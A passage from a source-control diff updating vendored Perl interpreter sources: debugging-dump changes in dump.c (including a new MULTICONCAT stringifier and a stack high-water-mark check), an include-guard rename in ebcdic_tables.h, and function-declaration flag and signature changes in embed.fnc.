+	    if (!(SvFLAGS(sv) & (SVf_ROK|SVf_OOK|SVs_OBJECT|
+				 SVs_GMG|SVs_SMG|SVs_RMG)) &&
+		!(~SvFLAGS(sv) & (SVf_POK|SVf_NOK|SVf_READONLY|
+				  SVp_POK|SVp_NOK)) &&
+		SvCUR(sv) == 1 &&
+		SvPVX_const(sv) && *SvPVX_const(sv) == '0' &&
+		SvNVX(sv) == 0.0)
+		goto finish;
+	}
 	else {
 	    sv_catpv(t, "SV_PLACEHOLDER");
 	    if (!(SvFLAGS(sv) & (SVf_OK|SVf_OOK|SVs_OBJECT|
@@ -480,9 +493,10 @@
 	}
     }
     else if (SvNOKp(sv)) {
-	STORE_LC_NUMERIC_UNDERLYING_SET_STANDARD();
+        DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+        STORE_LC_NUMERIC_SET_STANDARD();
 	Perl_sv_catpvf(aTHX_ t, "(%" NVgf ")",SvNVX(sv));
-	RESTORE_LC_NUMERIC_UNDERLYING();
+        RESTORE_LC_NUMERIC();
     }
     else if (SvIOKp(sv)) {
 	if (SvIsUV(sv))
@@ -565,7 +579,10 @@
         /* output preceding blank line */
         PerlIO_puts(file, "     ");
         for (i = level-1; i >= 0; i--)
-            PerlIO_puts(file,  i == 0 || (bar & (1 << i)) ?  "|   " : "    ");
+            PerlIO_puts(file,  (   i == 0
+                                || (i < UVSIZE*8 && (bar & ((UV)1 << i)))
+                               )
+                                    ?  "|   " : "    ");
         PerlIO_puts(file, "\n");
 
         /* output sequence number */
@@ -593,10 +610,12 @@
  */
 
 static void
-S_opdump_link(pTHX_ const OP *o, PerlIO *file)
+S_opdump_link(pTHX_ const OP *base, const OP *o, PerlIO *file)
 {
     PerlIO_puts(file, " ===> ");
-    if (o)
+    if (o == base)
+        PerlIO_puts(file, "[SELF]\n");
+    else if (o)
         PerlIO_printf(file, "%" UVuf " [%s 0x%" UVxf "]\n",
             sequence_num(o), OP_NAME(o), PTR2UV(o));
     else
@@ -977,10 +996,15 @@
 
     PerlIO_printf(file, " %s(0x%" UVxf ")",
                     op_class_names[op_class(o)], PTR2UV(o));
-    S_opdump_link(aTHX_ o->op_next, file);
+    S_opdump_link(aTHX_ o, o->op_next, file);
 
     /* print op common fields */
 
+    if (level == 0) {
+        S_opdump_indent(aTHX_ o, level, bar, file, "PARENT");
+        S_opdump_link(aTHX_ o, op_parent((OP*)o), file);
+    }
+
     if (o->op_targ && optype != OP_NULL)
 	    S_opdump_indent(aTHX_ o, level, bar, file, "TARG = %ld\n",
                 (long)o->op_targ);
@@ -1125,6 +1149,15 @@
 	break;
     }
 
+    case OP_MULTICONCAT:
+	S_opdump_indent(aTHX_ o, level, bar, file, "NARGS = %" IVdf "\n",
+            (IV)cUNOP_AUXo->op_aux[PERL_MULTICONCAT_IX_NARGS].ssize);
+        /* XXX really ought to dump each field individually,
+         * but that's too much like hard work */
+	S_opdump_indent(aTHX_ o, level, bar, file, "CONSTS = (%" SVf ")\n",
+            SVfARG(multiconcat_stringify(o)));
+	break;
+
     case OP_CONST:
     case OP_HINTSEVAL:
     case OP_METHOD_NAMED:
@@ -1176,11 +1209,11 @@
     case OP_ENTERITER:
     case OP_ENTERLOOP:
 	S_opdump_indent(aTHX_ o, level, bar, file, "REDO");
-        S_opdump_link(aTHX_ cLOOPo->op_redoop, file);
+        S_opdump_link(aTHX_ o, cLOOPo->op_redoop, file);
 	S_opdump_indent(aTHX_ o, level, bar, file, "NEXT");
-        S_opdump_link(aTHX_ cLOOPo->op_nextop, file);
+        S_opdump_link(aTHX_ o, cLOOPo->op_nextop, file);
 	S_opdump_indent(aTHX_ o, level, bar, file, "LAST");
-        S_opdump_link(aTHX_ cLOOPo->op_lastop, file);
+        S_opdump_link(aTHX_ o, cLOOPo->op_lastop, file);
 	break;
 
     case OP_REGCOMP:
@@ -1201,7 +1234,7 @@
     case OP_ENTERTRY:
     case OP_ONCE:
 	S_opdump_indent(aTHX_ o, level, bar, file, "OTHER");
-        S_opdump_link(aTHX_ cLOGOPo->op_other, file);
+        S_opdump_link(aTHX_ o, cLOGOPo->op_other, file);
 	break;
     case OP_SPLIT:
     case OP_MATCH:
@@ -1238,12 +1271,44 @@
 
     case OP_TRANS:
     case OP_TRANSR:
+        if (o->op_private & (OPpTRANS_FROM_UTF | OPpTRANS_TO_UTF)) {
+            /* utf8: table stored as a swash */
+#ifndef USE_ITHREADS
+	/* with ITHREADS, swash is stored in the pad, and the right pad
+	 * may not be active here, so skip */
             S_opdump_indent(aTHX_ o, level, bar, file,
-                            "PV = 0x%" UVxf "\n",
-                            PTR2UV(cPVOPo->op_pv));
-            break;
+                            "SWASH = 0x%" UVxf "\n",
+                            PTR2UV(MUTABLE_SV(cSVOPo->op_sv)));
+#endif
+        }
+        else {
+            const OPtrans_map * const tbl = (OPtrans_map*)cPVOPo->op_pv;
+            SSize_t i, size = tbl->size;
 
+            S_opdump_indent(aTHX_ o, level, bar, file,
+                            "TABLE = 0x%" UVxf "\n",
+                            PTR2UV(tbl));
+            S_opdump_indent(aTHX_ o, level, bar, file,
+                "  SIZE: 0x%" UVxf "\n", (UV)size);
 
+            /* dump size+1 values, to include the extra slot at the end */
+            for (i = 0; i <= size; i++) {
+                short val = tbl->map[i];
+                if ((i & 0xf) == 0)
+                    S_opdump_indent(aTHX_ o, level, bar, file,
+                        " %4" UVxf ":", (UV)i);
+                if (val < 0)
+                    PerlIO_printf(file, " %2"  IVdf, (IV)val);
+                else
+                    PerlIO_printf(file, " %02" UVxf, (UV)val);
+
+                if ( i == size || (i & 0xf) == 0xf)
+                    PerlIO_printf(file, "\n");
+            }
+        }
+        break;
+
+
     default:
 	break;
     }
@@ -1769,9 +1834,10 @@
 		&& type != SVt_PVCV && type != SVt_PVFM  && type != SVt_REGEXP
 		&& type != SVt_PVIO && !isGV_with_GP(sv) && !SvVALID(sv))
 	       || type == SVt_NV) {
-	STORE_LC_NUMERIC_UNDERLYING_SET_STANDARD();
+        DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+        STORE_LC_NUMERIC_SET_STANDARD();
 	Perl_dump_indent(aTHX_ level, file, "  NV = %.*" NVgf "\n", NV_DIG, SvNVX(sv));
-	RESTORE_LC_NUMERIC_UNDERLYING();
+        RESTORE_LC_NUMERIC();
     }
 
     if (SvROK(sv)) {
@@ -1823,7 +1889,12 @@
                 PerlIO_printf(file, "\n");
             }
 	    Perl_dump_indent(aTHX_ level, file, "  CUR = %" IVdf "\n", (IV)SvCUR(sv));
-	    if (!re)
+	    if (re && type == SVt_PVLV)
+                /* LV-as-REGEXP usurps len field to store pointer to
+                 * regexp struct */
+		Perl_dump_indent(aTHX_ level, file, "  REGEXP = 0x%" UVxf "\n",
+                   PTR2UV(((XPV*)SvANY(sv))->xpv_len_u.xpvlenu_rx));
+            else
 		Perl_dump_indent(aTHX_ level, file, "  LEN = %" IVdf "\n",
 				       (IV)SvLEN(sv));
 #ifdef PERL_COPY_ON_WRITE
@@ -2413,16 +2484,30 @@
 int
 Perl_runops_debug(pTHX)
 {
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+    SSize_t orig_stack_hwm = PL_curstackinfo->si_stack_hwm;
+
+    PL_curstackinfo->si_stack_hwm = PL_stack_sp - PL_stack_base;
+#endif
+
     if (!PL_op) {
 	Perl_ck_warner_d(aTHX_ packWARN(WARN_DEBUGGING), "NULL OP IN RUN");
 	return 0;
     }
-
     DEBUG_l(Perl_deb(aTHX_ "Entering new RUNOPS level\n"));
     do {
 #ifdef PERL_TRACE_OPS
         ++PL_op_exec_cnt[PL_op->op_type];
 #endif
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+        if (PL_curstackinfo->si_stack_hwm < PL_stack_sp - PL_stack_base)
+            Perl_croak_nocontext(
+                "panic: previous op failed to extend arg stack: "
+                "base=%p, sp=%p, hwm=%p\n",
+                    PL_stack_base, PL_stack_sp,
+                    PL_stack_base + PL_curstackinfo->si_stack_hwm);
+        PL_curstackinfo->si_stack_hwm = PL_stack_sp - PL_stack_base;
+#endif
 	if (PL_debug) {
             ENTER;
             SAVETMPS;
@@ -2452,6 +2537,10 @@
     DEBUG_l(Perl_deb(aTHX_ "leaving RUNOPS level\n"));
     PERL_ASYNC_CHECK();
 
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+    if (PL_curstackinfo->si_stack_hwm < orig_stack_hwm)
+        PL_curstackinfo->si_stack_hwm = orig_stack_hwm;
+#endif
     TAINT_NOT;
     return 0;
 }
@@ -2689,6 +2778,47 @@
 }
 
 
+/* Return a temporary SV containing a stringified representation of
+ * the op_aux field of a MULTICONCAT op. Note that if the aux contains
+ * both plain and utf8 versions of the const string and indices, only
+ * the first is displayed.
+ */
+
+SV*
+Perl_multiconcat_stringify(pTHX_ const OP *o)
+{
+    UNOP_AUX_item *aux = cUNOP_AUXo->op_aux;
+    UNOP_AUX_item *lens;
+    STRLEN len;
+    SSize_t nargs;
+    char *s;
+    SV *out = newSVpvn_flags("", 0, SVs_TEMP);
+
+    PERL_ARGS_ASSERT_MULTICONCAT_STRINGIFY;
+
+    nargs = aux[PERL_MULTICONCAT_IX_NARGS].ssize;
+    s   = aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv;
+    len = aux[PERL_MULTICONCAT_IX_PLAIN_LEN].ssize;
+    if (!s) {
+        s   = aux[PERL_MULTICONCAT_IX_UTF8_PV].pv;
+        len = aux[PERL_MULTICONCAT_IX_UTF8_LEN].ssize;
+        sv_catpvs(out, "UTF8 ");
+    }
+    pv_pretty(out, s, len, 50,
+                NULL, NULL,
+                (PERL_PV_PRETTY_NOCLEAR
+                |PERL_PV_PRETTY_QUOTE
+                |PERL_PV_PRETTY_ELLIPSES));
+
+    lens = aux + PERL_MULTICONCAT_IX_LENGTHS;
+    while (nargs-- >= 0) {
+        Perl_sv_catpvf(aTHX_ out, ",%" IVdf, (IV)lens->ssize);
+        lens++;
+    }
+    return out;
+}
+
+
 I32
 Perl_debop(pTHX_ const OP *o)
 {
@@ -2733,6 +2863,11 @@
             SVfARG(multideref_stringify(o, deb_curcv(cxstack_ix))));
         break;
 
+    case OP_MULTICONCAT:
+        PerlIO_printf(Perl_debug_log, "(%" SVf ")",
+            SVfARG(multiconcat_stringify(o)));
+        break;
+
     default:
 	break;
     }

Modified: vendor/perl/dist/ebcdic_tables.h
===================================================================
--- vendor/perl/dist/ebcdic_tables.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ebcdic_tables.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,8 +5,8 @@
  */
 
 
-#ifndef H_EBCDIC_TABLES   /* Guard against nested #includes */
-#define H_EBCDIC_TABLES   1
+#ifndef PERL_EBCDIC_TABLES_H_   /* Guard against nested #includes */
+#define PERL_EBCDIC_TABLES_H_   1
 
 /* This file contains definitions for various tables used in EBCDIC handling.
  * More info is in utfebcdic.h */
@@ -437,6 +437,6 @@
 
 #endif	/* EBCDIC 037 */
 
-#endif /* H_EBCDIC_TABLES */
+#endif /* PERL_EBCDIC_TABLES_H_ */
 
 /* ex: set ro: */

Modified: vendor/perl/dist/embed.fnc
===================================================================
--- vendor/perl/dist/embed.fnc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/embed.fnc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -124,6 +124,12 @@
 :
 :   o  Has no Perl_foo or S_foo compatibility macro:
 :
+:	This can be used when you define a macro with this entry's name that
+:	doesn't call the function specified by this entry.  This is typically
+:	done for a function that effectively just wraps another one, and where
+:	the macro form calls the underlying function directly.  For these, also
+:	specify the 'm' flag.  Legacy-only functions should instead use 'b'.
+:
 :         embed.h: suppress "#define foo Perl_foo"
 :
 :   P  Pure function:
@@ -276,6 +282,7 @@
 Apd	|void	|av_fill	|NN AV *av|SSize_t fill
 ApdR	|SSize_t|av_len		|NN AV *av
 ApdR	|AV*	|av_make	|SSize_t size|NN SV **strp
+p	|SV*	|av_nonelem	|NN AV *av|SSize_t ix
 Apd	|SV*	|av_pop		|NN AV *av
 ApdoxM	|void	|av_create_and_push|NN AV **const avp|NN SV *const val
 Apd	|void	|av_push	|NN AV *av|NN SV *val
@@ -351,8 +358,8 @@
 Afnp	|void	|sv_setpvf_nocontext|NN SV *const sv|NN const char *const pat|...
 Afnp	|void	|sv_catpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|...
 Afnp	|void	|sv_setpvf_mg_nocontext|NN SV *const sv|NN const char *const pat|...
-Afnp	|int	|fprintf_nocontext|NN PerlIO *stream|NN const char *format|...
-Afnp	|int	|printf_nocontext|NN const char *format|...
+Abfnp	|int	|fprintf_nocontext|NN PerlIO *stream|NN const char *format|...
+Abfnp	|int	|printf_nocontext|NN const char *format|...
 #endif
 : Used in pp.c
 p	|SV *	|core_prototype	|NULLOK SV *sv|NN const char *name \
@@ -389,6 +396,7 @@
 Ap	|void	|vdeb		|NN const char* pat|NULLOK va_list* args
 Ap	|void	|debprofdump
 EXp	|SV*	|multideref_stringify	|NN const OP* o|NULLOK CV *cv
+EXp	|SV*	|multiconcat_stringify	|NN const OP* o
 Ap	|I32	|debop		|NN const OP* o
 Ap	|I32	|debstack
 Ap	|I32	|debstackptrs
@@ -410,7 +418,7 @@
 pmb	|bool|do_aexec	|NULLOK SV* really|NN SV** mark|NN SV** sp
 : Used in pp_sys.c
 p	|bool|do_aexec5	|NULLOK SV* really|NN SV** mark|NN SV** sp|int fd|int do_report
-Ap	|int	|do_binmode	|NN PerlIO *fp|int iotype|int mode
+Abp	|int	|do_binmode	|NN PerlIO *fp|int iotype|int mode
 : Used in pp.c
 Ap	|bool	|do_close	|NULLOK GV* gv|bool not_implicit
 : Defined in doio.c, used only in pp_sys.c
@@ -430,7 +438,6 @@
 #if !defined(WIN32)
 p	|bool|do_exec3	|NN const char *incmd|int fd|int do_report
 #endif
-p	|void	|do_execfree
 #if defined(PERL_IN_DOIO_C)
 s	|void	|exec_failed	|NN const char *cmd|int fd|int do_report
 #endif
@@ -455,9 +462,34 @@
 pR	|I32	|do_ncmp	|NN SV *const left|NN SV *const right
 Apmb	|bool	|do_open	|NN GV* gv|NN const char* name|I32 len|int as_raw \
 				|int rawmode|int rawperm|NULLOK PerlIO* supplied_fp
-Ap	|bool	|do_open9	|NN GV *gv|NN const char *name|I32 len|int as_raw \
+Abp	|bool	|do_open9	|NN GV *gv|NN const char *name|I32 len|int as_raw \
 				|int rawmode|int rawperm|NULLOK PerlIO *supplied_fp \
 				|NN SV *svs|I32 num
+pn	|void	|setfd_cloexec|int fd
+pn	|void	|setfd_inhexec|int fd
+p	|void	|setfd_cloexec_for_nonsysfd|int fd
+p	|void	|setfd_inhexec_for_sysfd|int fd
+p	|void	|setfd_cloexec_or_inhexec_by_sysfdness|int fd
+pR	|int	|PerlLIO_dup_cloexec|int oldfd
+p	|int	|PerlLIO_dup2_cloexec|int oldfd|int newfd
+pR	|int	|PerlLIO_open_cloexec|NN const char *file|int flag
+pR	|int	|PerlLIO_open3_cloexec|NN const char *file|int flag|int perm
+pnoR	|int	|my_mkstemp_cloexec|NN char *templte
+#ifdef HAS_PIPE
+pR	|int	|PerlProc_pipe_cloexec|NN int *pipefd
+#endif
+#ifdef HAS_SOCKET
+pR	|int	|PerlSock_socket_cloexec|int domain|int type|int protocol
+pR	|int	|PerlSock_accept_cloexec|int listenfd \
+				|NULLOK struct sockaddr *addr \
+				|NULLOK Sock_size_t *addrlen
+#endif
+#if defined (HAS_SOCKETPAIR) || \
+    (defined (HAS_SOCKET) && defined(SOCK_DGRAM) && \
+	defined(AF_INET) && defined(PF_INET))
+pR	|int	|PerlSock_socketpair_cloexec|int domain|int type|int protocol \
+				|NN int *pairfd
+#endif
 #if defined(PERL_IN_DOIO_C)
 s	|IO *	|openn_setup    |NN GV *gv|NN char *mode|NN PerlIO **saveifp \
 				|NN PerlIO **saveofp|NN int *savefd \
@@ -466,7 +498,8 @@
 				|NN char *mode|NN const char *oname \
                                 |NULLOK PerlIO *saveifp|NULLOK PerlIO *saveofp \
                                 |int savefd|char savetype|int writing \
-                                |bool was_fdopen|NULLOK const char *type
+                                |bool was_fdopen|NULLOK const char *type \
+                                |NULLOK Stat_t *statbufp
 #endif
 Ap	|bool	|do_openn	|NN GV *gv|NN const char *oname|I32 len \
 				|int as_raw|int rawmode|int rawperm \
@@ -473,7 +506,7 @@
 				|NULLOK PerlIO *supplied_fp|NULLOK SV **svp \
 				|I32 num
 Mp	|bool	|do_open_raw	|NN GV *gv|NN const char *oname|STRLEN len \
-				|int rawmode|int rawperm
+				|int rawmode|int rawperm|NULLOK Stat_t *statbufp
 Mp	|bool	|do_open6	|NN GV *gv|NN const char *oname|STRLEN len \
 				|NULLOK PerlIO *supplied_fp|NULLOK SV **svp \
 				|U32 num
@@ -483,13 +516,13 @@
 pR	|OP*	|do_readline
 : Defined in doio.c, used only in pp_sys.c
 p	|bool	|do_seek	|NULLOK GV* gv|Off_t pos|int whence
-Ap	|void	|do_sprintf	|NN SV* sv|I32 len|NN SV** sarg
+Ap	|void	|do_sprintf	|NN SV* sv|SSize_t len|NN SV** sarg
 : Defined in doio.c, used only in pp_sys.c
 p	|Off_t	|do_sysseek	|NN GV* gv|Off_t pos|int whence
 : Defined in doio.c, used only in pp_sys.c
 pR	|Off_t	|do_tell	|NN GV* gv
 : Defined in doop.c, used only in pp.c
-p	|I32	|do_trans	|NN SV* sv
+p	|Size_t	|do_trans	|NN SV* sv
 : Used in my.c and pp.c
 p	|UV	|do_vecget	|NN SV* sv|STRLEN offset|int size
 : Defined in doop.c, used only in mg.c (with /* XXX slurp this routine */)
@@ -556,7 +589,7 @@
 ApR	|GV*	|gv_autoload_pvn	|NULLOK HV* stash|NN const char* name \
                                         |STRLEN len|U32 flags
 Ap	|void	|gv_check	|NN HV* stash
-Ap	|void	|gv_efullname	|NN SV* sv|NN const GV* gv
+Abp	|void	|gv_efullname	|NN SV* sv|NN const GV* gv
 Apmb	|void	|gv_efullname3	|NN SV* sv|NN const GV* gv|NULLOK const char* prefix
 Ap	|void	|gv_efullname4	|NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain
 Ap	|GV*	|gv_fetchfile	|NN const char* name
@@ -586,7 +619,7 @@
 ApM	|GV*	|gv_fetchmethod_pvn_flags|NN HV* stash|NN const char* name \
 				|const STRLEN len|U32 flags
 Ap	|GV*	|gv_fetchpv	|NN const char *nambeg|I32 add|const svtype sv_type
-Ap	|void	|gv_fullname	|NN SV* sv|NN const GV* gv
+Abp	|void	|gv_fullname	|NN SV* sv|NN const GV* gv
 Apmb	|void	|gv_fullname3	|NN SV* sv|NN const GV* gv|NULLOK const char* prefix
 Ap	|void	|gv_fullname4	|NN SV* sv|NN const GV* gv|NULLOK const char* prefix|bool keepmain
 : Used in scope.c
@@ -712,35 +745,44 @@
 : Used in cop.h
 XopR	|I32	|was_lvalue_sub
 ApMRnP	|STRLEN	|_is_utf8_char_helper|NN const U8 * const s|NN const U8 * e|const U32 flags
-ADMpR	|U32	|to_uni_upper_lc|U32 c
-ADMpR	|U32	|to_uni_title_lc|U32 c
-ADMpR	|U32	|to_uni_lower_lc|U32 c
-ADMpR	|bool	|is_uni_alnum	|UV c
-ADMpR	|bool	|is_uni_alnumc	|UV c
-ADMpR	|bool	|is_uni_idfirst	|UV c
-ADMpR	|bool	|is_uni_alpha	|UV c
-ADMpPR	|bool	|is_uni_ascii	|UV c
-ADMpPR	|bool	|is_uni_blank	|UV c
-ADMpPR	|bool	|is_uni_space	|UV c
-ADMpPR	|bool	|is_uni_cntrl	|UV c
-ADMpR	|bool	|is_uni_graph	|UV c
-ADMpR	|bool	|is_uni_digit	|UV c
-ADMpR	|bool	|is_uni_upper	|UV c
-ADMpR	|bool	|is_uni_lower	|UV c
-ADMpR	|bool	|is_uni_print	|UV c
-ADMpR	|bool	|is_uni_punct	|UV c
-ADMpPR	|bool	|is_uni_xdigit	|UV c
+AbDMpR	|U32	|to_uni_upper_lc|U32 c
+AbDMpR	|U32	|to_uni_title_lc|U32 c
+AbDMpR	|U32	|to_uni_lower_lc|U32 c
+AbDMpR	|bool	|is_uni_alnum	|UV c
+AbDMpR	|bool	|is_uni_alnumc	|UV c
+AbDMpR	|bool	|is_uni_idfirst	|UV c
+AbDMpR	|bool	|is_uni_alpha	|UV c
+AbDMpPR	|bool	|is_uni_ascii	|UV c
+AbDMpPR	|bool	|is_uni_blank	|UV c
+AbDMpPR	|bool	|is_uni_space	|UV c
+AbDMpPR	|bool	|is_uni_cntrl	|UV c
+AbDMpR	|bool	|is_uni_graph	|UV c
+AbDMpR	|bool	|is_uni_digit	|UV c
+AbDMpR	|bool	|is_uni_upper	|UV c
+AbDMpR	|bool	|is_uni_lower	|UV c
+AbDMpR	|bool	|is_uni_print	|UV c
+AbDMpR	|bool	|is_uni_punct	|UV c
+AbDMpPR	|bool	|is_uni_xdigit	|UV c
 AMp	|UV	|to_uni_upper	|UV c|NN U8 *p|NN STRLEN *lenp
 AMp	|UV	|to_uni_title	|UV c|NN U8 *p|NN STRLEN *lenp
-ADMpR	|bool	|isIDFIRST_lazy	|NN const char* p
-ADMpR	|bool	|isALNUM_lazy	|NN const char* p
+AbDMpR	|bool	|isIDFIRST_lazy	|NN const char* p
+AbDMpR	|bool	|isALNUM_lazy	|NN const char* p
+p	|void	|init_uniprops
+EpX	|SV *	|parse_uniprop_string|NN const char * const name	   \
+				     |const Size_t len			   \
+				     |const bool to_fold		   \
+				     |NN bool * invert
 #ifdef PERL_IN_UTF8_C
 snR	|U8	|to_lower_latin1|const U8 c|NULLOK U8 *p|NULLOK STRLEN *lenp  \
 		|const char dummy
-inR	|bool	|is_utf8_cp_above_31_bits|NN const U8 * const s|NN const U8 * const e
+#  ifndef UV_IS_QUAD
+snR	|int	|is_utf8_cp_above_31_bits|NN const U8 * const s		    \
+					 |NN const U8 * const e		    \
+					 |const bool consider_overlongs
+#  endif
 #endif
 #if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
-EXp	|UV        |_to_fold_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const unsigned int flags
+EXnp	|UV        |_to_fold_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const unsigned int flags
 #endif
 #if defined(PERL_IN_UTF8_C) || defined(PERL_IN_PP_C)
 p	|UV	|_to_upper_title_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const char S_or_s
@@ -748,61 +790,76 @@
 AMp	|UV	|to_uni_lower	|UV c|NN U8 *p|NN STRLEN *lenp
 AMmp	|UV	|to_uni_fold	|UV c|NN U8 *p|NN STRLEN *lenp
 AMp	|UV	|_to_uni_fold_flags|UV c|NN U8 *p|NN STRLEN *lenp|U8 flags
-ADMpR	|bool	|is_uni_alnum_lc|UV c
-ADMpR	|bool	|is_uni_alnumc_lc|UV c
-ADMpR	|bool	|is_uni_idfirst_lc|UV c
+AbDMpR	|bool	|is_uni_alnum_lc|UV c
+AbDMpR	|bool	|is_uni_alnumc_lc|UV c
+AbDMpR	|bool	|is_uni_idfirst_lc|UV c
 AMpR	|bool	|_is_uni_perl_idcont|UV c
 AMpR	|bool	|_is_uni_perl_idstart|UV c
-ADMpR	|bool	|is_uni_alpha_lc|UV c
-ADMpPR	|bool	|is_uni_ascii_lc|UV c
-ADMpPR	|bool	|is_uni_space_lc|UV c
-ADMpPR	|bool	|is_uni_blank_lc|UV c
-ADMpPR	|bool	|is_uni_cntrl_lc|UV c
-ADMpR	|bool	|is_uni_graph_lc|UV c
-ADMpR	|bool	|is_uni_digit_lc|UV c
-ADMpR	|bool	|is_uni_upper_lc|UV c
-ADMpR	|bool	|is_uni_lower_lc|UV c
-ADMpR	|bool	|is_uni_print_lc|UV c
-ADMpR	|bool	|is_uni_punct_lc|UV c
-ADMpPR	|bool	|is_uni_xdigit_lc|UV c
-AnidR	|bool	|is_utf8_invariant_string|NN const U8* const s|STRLEN const len
-AmnpdRP	|bool	|is_ascii_string|NN const U8* const s|const STRLEN len
-AmnpdRP	|bool	|is_invariant_string|NN const U8* const s|const STRLEN len
-AnpdD	|STRLEN	|is_utf8_char	|NN const U8 *s
+AbDMpR	|bool	|is_uni_alpha_lc|UV c
+AbDMpPR	|bool	|is_uni_ascii_lc|UV c
+AbDMpPR	|bool	|is_uni_space_lc|UV c
+AbDMpPR	|bool	|is_uni_blank_lc|UV c
+AbDMpPR	|bool	|is_uni_cntrl_lc|UV c
+AbDMpR	|bool	|is_uni_graph_lc|UV c
+AbDMpR	|bool	|is_uni_digit_lc|UV c
+AbDMpR	|bool	|is_uni_upper_lc|UV c
+AbDMpR	|bool	|is_uni_lower_lc|UV c
+AbDMpR	|bool	|is_uni_print_lc|UV c
+AbDMpR	|bool	|is_uni_punct_lc|UV c
+AbDMpPR	|bool	|is_uni_xdigit_lc|UV c
+AndmoR	|bool	|is_utf8_invariant_string|NN const U8* const s		    \
+		|STRLEN len
+AnidR	|bool	|is_utf8_invariant_string_loc|NN const U8* const s	    \
+		|STRLEN len						    \
+		|NULLOK const U8 ** ep
+#ifndef EBCDIC
+AniR	|unsigned int|_variant_byte_number|PERL_UINTMAX_T word
+#endif
+#if defined(PERL_CORE) || defined(PERL_EXT)
+EinR	|Size_t	|variant_under_utf8_count|NN const U8* const s		    \
+		|NN const U8* const e
+#endif
+AmnpdRP	|bool	|is_ascii_string|NN const U8* const s|STRLEN len
+AmnpdRP	|bool	|is_invariant_string|NN const U8* const s|STRLEN len
+#if defined(PERL_CORE) || defined (PERL_EXT)
+EXnidR	|bool	|is_utf8_non_invariant_string|NN const U8* const s	    \
+		|STRLEN len
+#endif
+AbnpdD	|STRLEN	|is_utf8_char	|NN const U8 *s
 Abmnpd	|STRLEN	|is_utf8_char_buf|NN const U8 *buf|NN const U8 *buf_end
-AnipdR	|bool	|is_utf8_string	|NN const U8 *s|const STRLEN len
+AnmdpR	|bool	|is_utf8_string	|NN const U8 *s|STRLEN len
 AnidR	|bool	|is_utf8_string_flags					    \
-		|NN const U8 *s|const STRLEN len|const U32 flags
-AnidR	|bool	|is_strict_utf8_string|NN const U8 *s|const STRLEN len
-AnidR	|bool	|is_c9strict_utf8_string|NN const U8 *s|const STRLEN len
+		|NN const U8 *s|STRLEN len|const U32 flags
+AnmdpR	|bool	|is_strict_utf8_string|NN const U8 *s|STRLEN len
+AnmdpR	|bool	|is_c9strict_utf8_string|NN const U8 *s|STRLEN len
 Anpdmb	|bool	|is_utf8_string_loc					    \
 		|NN const U8 *s|const STRLEN len|NN const U8 **ep
 Andm	|bool	|is_utf8_string_loc_flags				    \
-		|NN const U8 *s|const STRLEN len|NN const U8 **ep	    \
+		|NN const U8 *s|STRLEN len|NN const U8 **ep		    \
 		|const U32 flags
 Andm	|bool	|is_strict_utf8_string_loc				    \
-		|NN const U8 *s|const STRLEN len|NN const U8 **ep
+		|NN const U8 *s|STRLEN len|NN const U8 **ep
 Andm	|bool	|is_c9strict_utf8_string_loc				    \
-		|NN const U8 *s|const STRLEN len|NN const U8 **ep
+		|NN const U8 *s|STRLEN len|NN const U8 **ep
 Anipd	|bool	|is_utf8_string_loclen					    \
-		|NN const U8 *s|const STRLEN len|NULLOK const U8 **ep	    \
+		|NN const U8 *s|STRLEN len|NULLOK const U8 **ep		    \
 		|NULLOK STRLEN *el
 Anid	|bool	|is_utf8_string_loclen_flags				    \
-		|NN const U8 *s|const STRLEN len|NULLOK const U8 **ep	    \
+		|NN const U8 *s|STRLEN len|NULLOK const U8 **ep		    \
 		|NULLOK STRLEN *el|const U32 flags
 Anid	|bool	|is_strict_utf8_string_loclen				    \
-		|NN const U8 *s|const STRLEN len|NULLOK const U8 **ep	    \
+		|NN const U8 *s|STRLEN len|NULLOK const U8 **ep	    \
 		|NULLOK STRLEN *el
 Anid	|bool	|is_c9strict_utf8_string_loclen				    \
-		|NN const U8 *s|const STRLEN len|NULLOK const U8 **ep	    \
+		|NN const U8 *s|STRLEN len|NULLOK const U8 **ep	    \
 		|NULLOK STRLEN *el
 Amnd	|bool	|is_utf8_fixed_width_buf_flags				    \
-		|NN const U8 * const s|const STRLEN len|const U32 flags
+		|NN const U8 * const s|STRLEN len|const U32 flags
 Amnd	|bool	|is_utf8_fixed_width_buf_loc_flags			    \
-		|NN const U8 * const s|const STRLEN len			    \
+		|NN const U8 * const s|STRLEN len			    \
 		|NULLOK const U8 **ep|const U32 flags
 Anid	|bool	|is_utf8_fixed_width_buf_loclen_flags			    \
-		|NN const U8 * const s|const STRLEN len			    \
+		|NN const U8 * const s|STRLEN len			    \
 		|NULLOK const U8 **ep|NULLOK STRLEN *el|const U32 flags
 AmndP	|bool	|is_utf8_valid_partial_char				    \
 		|NN const U8 * const s|NN const U8 * const e
@@ -816,10 +873,10 @@
 		|NN const char * const file|const unsigned line
 AMpR	|bool	|_is_utf8_FOO_with_len|const U8 classnum|NN const U8 *p	    \
 		|NN const U8 * const e
-ADMpR	|bool	|is_utf8_alnum	|NN const U8 *p
-ADMpR	|bool	|is_utf8_alnumc	|NN const U8 *p
-ADMpR	|bool	|is_utf8_idfirst|NN const U8 *p
-ADMpR	|bool	|is_utf8_xidfirst|NN const U8 *p
+AbDMpR	|bool	|is_utf8_alnum	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_alnumc	|NN const U8 *p
+AbDMpR	|bool	|is_utf8_idfirst|NN const U8 *p
+AbDMpR	|bool	|is_utf8_xidfirst|NN const U8 *p
 AMpR	|bool	|_is_utf8_idcont|NN const U8 *p
 AMpR	|bool	|_is_utf8_idstart|NN const U8 *p
 AMpR	|bool	|_is_utf8_xidcont|NN const U8 *p
